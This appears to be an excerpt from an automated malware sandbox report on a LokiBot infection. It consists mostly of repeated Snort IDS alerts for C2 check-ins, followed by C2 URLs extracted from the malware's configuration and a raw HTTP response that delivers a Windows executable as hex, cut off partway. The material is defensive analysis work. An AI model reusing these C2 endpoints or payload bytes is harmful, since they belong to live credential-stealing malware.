Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49229 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49229
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49230 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49230 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49230 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49230 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49230
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49231 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49231 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49231 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49231 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49231
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49232 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49232 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49232 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49232 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49232
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49233 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49233 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49233 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49233 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49233
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49234 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49234 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49234 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49234 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49234
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49235 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49235 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49235 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49235 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49235
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49236 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49236 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49236 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49236 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49236
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49237 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49237 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49237 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49237 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49237
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49238 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49238 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49238 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49238 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49238
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49239 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49239 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49239 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49239 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49240 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49240 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49240 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49240 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49240
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49241 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49241 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49241 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49241 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49241
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49242 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49242 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49242 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49242 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49242
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49243 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49243 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49243 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49243 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49243
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49244 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49244 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49244 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49244 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49244
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49245 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49245 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49245 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49245 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49245
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49246 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49246 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49246 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49246 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49246
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49247 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49247 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49247 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49247 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49247
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49248 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49248 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49248 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49248 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49248
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49249 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49249 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49249 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49249 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49249
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49250 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49250 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49250 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49250 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49250
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49251 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49251 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49251 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49251 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49251
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49252 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49252 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49252 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49252 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49252
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49253 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49253 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49253 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49253 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49253
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49254 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49254 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49254 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49254 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49254
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49255 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49255 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49255 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49255 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49255
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49256 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49256 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49256 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49256 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49256
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49257 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49257 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49257 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49257 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49257
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49258 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49258 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49258 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49258 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49258
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49259 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49259 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49259 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49259 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49259
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49260 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49260 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49260 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49260 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49260
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49261 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49261 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49261 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49261 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49261
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49262 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49262 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49262 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49262 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49262
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49263 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49263 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49263 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49263 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49263
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49264 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49264 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49264 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49264 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49264
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49265 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49265 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49265 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49265 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49265
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49266 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49266 -> 5.188.89.50:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: http://checkvim.com/ga14/fre.php

Source: Joe Sandbox View	ASN Name: PINDC-ASRU PINDC-ASRU
Source: Joe Sandbox View	ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 28 Sep 2021 04:50:21 GMTServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/8.0.10Last-Modified: Mon, 27 Sep 2021 22:15:04 GMTETag: "33600-5cd016dd19714"Accept-Ranges: bytesContent-Length: 210432Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 48 ba 15 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 01 00 00 14 0a 00 00 00 00 00 18 1b 00 00 00 10 00 00 00 80 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 0b 00 00 04 00 00 6d 6b 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 b1 01 00 4f 00 00 00 2c a9 01 00 3c 00 00 00 00 20 0a 00 b8 75 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 81 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 94 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 6a 01 00 00 10 00 00 00 6c 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ef 31 00 00 00 80 01 00 00 32 00 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 55 08 00 00 c0 01 00 00 1e 00 00 00 a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 75 01 00 00 20 0a 00 00 76 01 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

